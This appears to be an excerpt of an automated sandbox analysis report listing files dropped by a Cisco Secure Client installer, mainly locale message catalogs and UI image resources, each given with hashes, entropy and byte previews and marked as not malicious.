Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\ru-ru\LC_MESSAGES\is-VMHLD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	467531
Entropy (8bit):	5.410391422981112
Encrypted:	false
SSDEEP:	12288:L7hsbx/gNDWv68D6Iv6x5RaGUT0fDmKuajZHd+1wt8:L7a6FmG8
MD5:	2C1A2A453E54BFCEE2E97D458843C3BE
SHA1:	DF8512B13FB56BB6FCCC5BA01C91D42949875B44
SHA-256:	535CD27F4C25F5C007432FFD985C7EA3325659F2D1544264F317E71DD3377E84
SHA-512:	2351333B17AB072A2AC9E24D0772775D3519A3163EEB6BAB735845BBC96A51380A181C4E99AD21BECD99F8ED256E845DC421B773F33DD45E260783E90CA66333
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-cn\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312691
Entropy (8bit):	6.238069670792444
Encrypted:	false
SSDEEP:	6144:LjH3UK5pl6VBKfKh+spMr61W19INBYB4XGt48xITy:L7h3upMrT19INBYB4XGt48x+y
MD5:	05212F97A23F922493CD7F066373D92C
SHA1:	F8C2E7CD2949950A1227F02058B82E81876F5C73
SHA-256:	66997C101367684439899AC5A287CF194AC7E0BA9CBA753BC620D15B8F98193E
SHA-512:	40BB0959EDBD50068288328C8FA268F856BFB70A3737E84E129AE9A1400BF182975D2AD0BEBD5E271A30F7A893BA15CE472A9A80869D58378402CC2D822F97E7
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-cn\LC_MESSAGES\is-C1171.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312691
Entropy (8bit):	6.238069670792444
Encrypted:	false
SSDEEP:	6144:LjH3UK5pl6VBKfKh+spMr61W19INBYB4XGt48xITy:L7h3upMrT19INBYB4XGt48x+y
MD5:	05212F97A23F922493CD7F066373D92C
SHA1:	F8C2E7CD2949950A1227F02058B82E81876F5C73
SHA-256:	66997C101367684439899AC5A287CF194AC7E0BA9CBA753BC620D15B8F98193E
SHA-512:	40BB0959EDBD50068288328C8FA268F856BFB70A3737E84E129AE9A1400BF182975D2AD0BEBD5E271A30F7A893BA15CE472A9A80869D58378402CC2D822F97E7
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-hans\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312693
Entropy (8bit):	6.237794032422467
Encrypted:	false
SSDEEP:	6144:LjH3UK4rOZVBKfKh+VpMr61W19INBYB4XGt48xITy:L7h4ppMrT19INBYB4XGt48x+y
MD5:	15A97AEAB455C7659F975BF82E1FD0AA
SHA1:	811FE4D65EDD072EB5FE66FBBFC49EA7E74A2D33
SHA-256:	C71C31ED87B28224850C804EBFA8CBF2B7FAF3AA9AAD453269BCE3BEBC288243
SHA-512:	61A3C8E99A1D7F37AE9DF2FA1BE97BDBB4A83A2A676BF1C1E5C7169CFEC44AF13975E4140CA0118586DDBE774C3F1269691D7C4C7BB41A9557A55836BD568A6F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-hans\LC_MESSAGES\is-5IMNA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	312693
Entropy (8bit):	6.237794032422467
Encrypted:	false
SSDEEP:	6144:LjH3UK4rOZVBKfKh+VpMr61W19INBYB4XGt48xITy:L7h4ppMrT19INBYB4XGt48x+y
MD5:	15A97AEAB455C7659F975BF82E1FD0AA
SHA1:	811FE4D65EDD072EB5FE66FBBFC49EA7E74A2D33
SHA-256:	C71C31ED87B28224850C804EBFA8CBF2B7FAF3AA9AAD453269BCE3BEBC288243
SHA-512:	61A3C8E99A1D7F37AE9DF2FA1BE97BDBB4A83A2A676BF1C1E5C7169CFEC44AF13975E4140CA0118586DDBE774C3F1269691D7C4C7BB41A9557A55836BD568A6F
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-hant\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313019
Entropy (8bit):	6.234654802477353
Encrypted:	false
SSDEEP:	6144:LjH3UKKGVBKfKh+fOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hJ1fe0akxNF
MD5:	83FB7082E5C1564F62D0CB08A78284D0
SHA1:	2EE243786EE95F72C4480BC3B0426B3847F2B235
SHA-256:	379DA399CC6B5870BA462F62AE5F7AF544E6DDFF77B5F0BC38E6DC860CAD910C
SHA-512:	304C30A39146728C9B48921D4175460D26BD9C564EAA517463E56F78A147EEDF42EBB3FB98E49B60F545E0F667DD96FE4DB017D220B25119FD8A1C7D0BA4DA1A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-hant\LC_MESSAGES\is-KTH22.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313019
Entropy (8bit):	6.234654802477353
Encrypted:	false
SSDEEP:	6144:LjH3UKKGVBKfKh+fOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hJ1fe0akxNF
MD5:	83FB7082E5C1564F62D0CB08A78284D0
SHA1:	2EE243786EE95F72C4480BC3B0426B3847F2B235
SHA-256:	379DA399CC6B5870BA462F62AE5F7AF544E6DDFF77B5F0BC38E6DC860CAD910C
SHA-512:	304C30A39146728C9B48921D4175460D26BD9C564EAA517463E56F78A147EEDF42EBB3FB98E49B60F545E0F667DD96FE4DB017D220B25119FD8A1C7D0BA4DA1A
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-tw\LC_MESSAGES\SecureClientDefault.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313017
Entropy (8bit):	6.23496399047262
Encrypted:	false
SSDEEP:	6144:LjH3UKSWLVBKfKh+nOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hD1fe0akxNF
MD5:	CEB6BC2F926118460165347F8EA04C76
SHA1:	E188B65EA47E9C347541752DAB4D2EF055216621
SHA-256:	A6A7AA156EC2FCC564E0D475F02243AFEEF09028FF1F3840D4C73C4064BFFC20
SHA-512:	6D49DB3F01DE644C4EA1A4D8120A9D0506B9200542E272626A05E03EF03EFDB1DEB3F7865E3919204DDD2F8690C5C5700B9F15208B81303581CAC523C07099A2
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\l10n\zh-tw\LC_MESSAGES\is-BH6M1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 2926 messages, Project-Id-Version: Cisco Secure Client 5.0.00000
Category:	dropped
Size (bytes):	313017
Entropy (8bit):	6.23496399047262
Encrypted:	false
SSDEEP:	6144:LjH3UKSWLVBKfKh+nOjv7Ln1UFbTr67LaANHgQiAF6OKMNe0akxNDcU:L7hD1fe0akxNF
MD5:	CEB6BC2F926118460165347F8EA04C76
SHA1:	E188B65EA47E9C347541752DAB4D2EF055216621
SHA-256:	A6A7AA156EC2FCC564E0D475F02243AFEEF09028FF1F3840D4C73C4064BFFC20
SHA-512:	6D49DB3F01DE644C4EA1A4D8120A9D0506B9200542E272626A05E03EF03EFDB1DEB3F7865E3919204DDD2F8690C5C5700B9F15208B81303581CAC523C07099A2
Malicious:	false
Preview:	........n........[..C...................................................$...+.......+...........:.......Q...c...l...`...........1.......P...;...........-...^.../...G.......@.......B...........Z...;...f...Y...............................;...........X.......n.......u.......}.......................................;.......R.......d.......w.......................[.......n...?...~...(.......0...................-.......@.......].......c.......l.......................[.......D.......K.......[.......p...............................................................'...e...D...#...............6...t...........................=.......?.......W...)...#...................%..._.......,.......@...8...8...y.../.......N.......E...1...0...w...c.......;.......)...H...y...r...4.......[...!.......}...........v.......*.......H...5...A...~...V.......\.......n...t...X.......q...<...7.......1.......d.......U...}...0.......k...........p.......%.......).......I.......U.......r...$...................................

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\ArrowDown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3882
Entropy (8bit):	6.743390042757195
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcXLBz:iXHt+JcNgOSiS4XsAYNpf2ESNV7Bz
MD5:	3FFF593238B9889FAFEB8D0128212244
SHA1:	D7D9421F3DAB1DF9ED621322554EA78444513815
SHA-256:	FDA8EE98D597820B24B2AAE23909585D4E5BFD0FDC573F901FA6139A30D9A2F0
SHA-512:	4BC00D211799B3C09BA0BFBEB676E2F03A9E510D89CFBF4CFEEAAB47232A782E756F67B6194D551B7659741E1114D0BD648B88EDD02BE43C32D4E2BB2ACC1339
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\ArrowDownDisabled.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	6.749338244156901
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgJLkXf:iXHt+JcNgOSiS4XsAYNpf2ESNtg1kXf
MD5:	ECBD0E4A17836F184F084BF3D9170141
SHA1:	45E135215179398684C1D52BB8430D827577500D
SHA-256:	5734B02A7A809DC54D75C00E7137CE9F2BF85CE8050B6105016FEE5D5E1BA44B
SHA-512:	5EB8B7519E6F9EE518812B3F0D8DF3C3E6A73A899E70F853848C69551B783663111B62900837CF0F02098A7452EE3D8638839658B3724990BFA5C2BF148B8D05
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\ArrowUp.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3880
Entropy (8bit):	6.742220289284142
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBcr:iXHt+JcNgOSiS4XsAYNpf2ESNVr
MD5:	3C512CF63246231506E533D6800FF3EB
SHA1:	CF02F3D7AD80DC48B900464D1F8D828F44213443
SHA-256:	C211B550E4DF39BDD1E7A39E7979EBFEAB155BDAEF2498A09D63B45713C30768
SHA-512:	ECE459102971594D5EB348FF9AA16E5EC0E7222594D63096289B566B07D020B534947D231E6C3CA1E139F407B9A5251933CF38C7BCEDAE693741499A9108D9D6
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\ArrowUpDisabled.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 16 x 12, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3881
Entropy (8bit):	6.749191813135782
Encrypted:	false
SSDEEP:	48:ildHE8+JjpMNNa3OjboViS4nXsAYdPd3F58ZpiU54SN775OBQgI+P:iXHt+JcNgOSiS4XsAYNpf2ESNtgB
MD5:	C09256A999756AFFAE49A6E4346D910C
SHA1:	95158F9717019700B626D2A675F17C50853E436E
SHA-256:	D2913B404D604DD9F61952E0539DA5FCD742FC7E87F30CCC4263303DEC5F43B0
SHA-512:	D2DD40D4A8FBFEC4DFB2EF285880F103CB50D0AB461731915C15D8A4061E77C70513658419FF72925D90741FBD75079899E5293A107B7361B2142358534C94EA
Malicious:	false
Preview:	.PNG........IHDR.............\9.....gAMA....\|.Q.... cHRM...........R...@..}y.....<.....s<.w...9iCCPPhotoshop ICC profile..H..wTT....wz..0.R.....{.^Ea..`(..34.!...ED."HP..P$VD...T..$.(1.ET,oF.........o......Z..../...K......<....Qt.....`.).LVF._.{......!r._...zX..p..3.N....Y.\|......9.,...8%K.......,f.%f.(A..9a..>.,....<...9..S.b...L!G....3..,....F.0.+.7..T.3...Il.pX."6.1...."....H._q.W,.d..rIK..s...t......A..d.p....&+..g.].R.......Y2...EE.4...4432..P.u.oJ..Ez...g.........`.j..-....-....b.8....o....M</..A...qVV....2.....O.....g$>...]9.La.....+-%M.g.3Y.......u..A.x....E.....K.......i<:...............Pc...u@~..(.. ...]..o..0 ~y...s..7.g...%...9.%(....3........H....@...C`...-p.n.......V..H.....@....A1....jP..A3h..A'8..K....n..`.L.g`......a!2D..!.H... .d..A.P....B....By.f.....z....:....@..]h...~....L.............C.Up.......p%....;...5.6<.?.........."....G..x...G.....iE..>.&2.. oQ...EG..lQ..P......U..F.Fu.zQ7Qc.Y.G4....G......t...].nB../.o.'.1.......xb"1I.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\GUI.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	Targa image data - Map 32 x 2841 x 1 +1
Category:	dropped
Size (bytes):	431993
Entropy (8bit):	4.565786626694248
Encrypted:	false
SSDEEP:	3072:qG481XVja/lkbbVYHd6saT3N2z00cAXoKM0Baf0I:qC3a/lkbbaHd6saT3QZnXdBZI
MD5:	A6441E0D126BDAEB1308C9B4EB5D30D7
SHA1:	07206E99763B97507D5D7BCB3DF221F48ABF60FF
SHA-256:	5A624CBE0242B49FE13104345760BD16F6B2D50F1AC9FB19B92F76BDBBED938A
SHA-512:	DC85660518234A581F3EA19FB5892F53B1BA3671293F5BB886AD63D91CCEA0AC31E55ECEA528487AF1BC343CF226E268CF50B4903D67430919FD9B715889EB7B
Malicious:	false
Preview:	............ ............... ............... .^N............ .(R............ .(...!S..``.... .....I[..@@.... .(B......00.... ..%...2..((.... .h....W.. .... .....)r........ .............. .....Y......... .h........PNG........IHDR.....................pHYs..........o.d.. .IDATx...wtUU....MO..B....TA.. ...l....Ti"H.E...D@lT.EA.).... ........R...{o...Jd..o.L...},.RJ9.1.......#W..` (.#.._.....?>\|..ki@j.G..........q..........2>....( ......RJ)u.,..J).2..a@^ <....C..?;..}9..f..p....\|..#,.J...Rn.]..(.T.3.x....@..\|.D..vu.N....W.\|D.....y..(..5.c, ..^..!}.....Np...eY)B.R...PJy<cL(P9."._.............^...W....RJ)G..@).1.1.@9...U2>..UGy.(2......,..M..R6..@).1..r._....dH.S.WC.Ws.eYi...R+h...ri..?.j.........[..vsyc.eY...R..i...r).....wd\|.B..+.....M.F`.eY.e#)....@).h.R..._..=...K9.q....>v..".....Q..cdl.....w.~Q.R.$.......t.R.I..PJ...<.C.}..&....M...h..(.l.1.....J..!...2>.Y.uA8.R...^.T.2...........H).I...V..,..!.G)...PJe..}....S.....r9'.....e....r3..(.n.1.8......M

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\about.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	7.846793911413473
Encrypted:	false
SSDEEP:	24:M3uM24lXN+maawwFvEk9PMjKHcdAJ5xo+n7R/0+5GpxwGjQaTNn7ohEoGCL5F2lr:M+VU3vVsk9kcqE7RN+x/BohRnG
MD5:	536C911881523B9F8402A481881992A0
SHA1:	2748A03D65DA7D6B4A95ACBDEB6ECD6F409A0ABF
SHA-256:	246B7E52A41AA64365D84C7DA73FD20C27B8C825C61394AE8C775DBD9BF5B668
SHA-512:	608DFEC9C7980707B9947F3CFB8BEF93FDF1D6D5B908E25888BCA0C7CE83C70F23AF87798F38E364E75FA05C89523028B5742E3084E6401068A7DE6BC5BF90E4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..;R#I..k.........1...h.@'..:.V...1'.q..kM...Ly..h..6J.=....Y.%E~...!..wVe... .. .. .. ....O;....I..UO...........R.........7...E)5W.d...Q.)J5.7\{....Q.W.P.R.a.@.K......ab...Q.d..zV....^..m.C.t..U.Y.e..(.....x.J)...s.....)..XM....Y.._~Q......o#..........=.p+b.E..X..X.}.'..o...DJw..GJq.].^.%R.#..3.y<.s...5.......s.s....;>.Z.q.F./..r.Z...T..=.&H......z...~J/.%.....(.~.\|R7...z.LV....+.........T....\|L.1i<..Zc.]LO.;.@.:.?IU./..A.,.-.rGr!Z...'I.........6+^......a....n6~e6ejy.f.........\UC..\..i..s.r.U_.i..>......u...p...zb5..t\|u.h.gxD..}6T[i.jxO./..goc...9......(.[..........*.{.8.f.(..R..J8.za.;.t..aj./.5.^px....g[...]z...=.Q.Q.%.D...z2`.;.6.K9.26Tc'....)_...$..<.&.7v.....pQ..N....s.c...XX..x.>..O.....)&/IYm..=....7.A.......c$..R....T{.q......C..@.L.....]({..>y.:.e.#....ym.....g^.R.....v.$.M.B.E....^.xSF80......n\|Ph./..%<.I...X.f..=.pz..~...a..O1.9g.m.Mp....n.v%D....w....F6.....{.".!.~.}..}.P.S.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\about_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.139959170245274
Encrypted:	false
SSDEEP:	12:6v/7Hel//IgFAkq3Dhp5tRX3Sq+IeSzgKOg6p2e:aehvFXSELAgKja2e
MD5:	34C2847A763607A881B1E9A81CA9A4DC
SHA1:	B6050C2A1AA45C78F273B76FB729158E0F172D18
SHA-256:	4D735FCC94C53B0753F49E2656EE480D37F4899520F17C48FF7D1F0DDC2A9A8C
SHA-512:	8E3C4C1F62BDF79B2C5263D0C4DD97E302261A0C5C9399C13FADD3E25301F7DDA7297ECE3A8352534C9DA4B3A23FFE497FD61BDA348D14BB6658AF2C66863727
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....6IDATH...M.0.E.L....&hG..t...f.........F`.l..}n.....B..).....}.p.k....x..3n\|oI.^..G._~%..3...7~.^...#D..]/.lD.....{...#..:...k..+n.U.....)".]'g...9Y...G.w^v.&.FX{....".i.k.:..bN.......b.(H......8.y. .E...s$.V.....U.sOwFo.#...a;:....2.....=.....P...ct.k.A..-....Q...<..R...$.FX.-M......k.W...b.}2o.....p.........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\Setup\5.0.00923\res\about_hover.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1916
Entropy (8bit):	7.856747119568193
Encrypted:	false
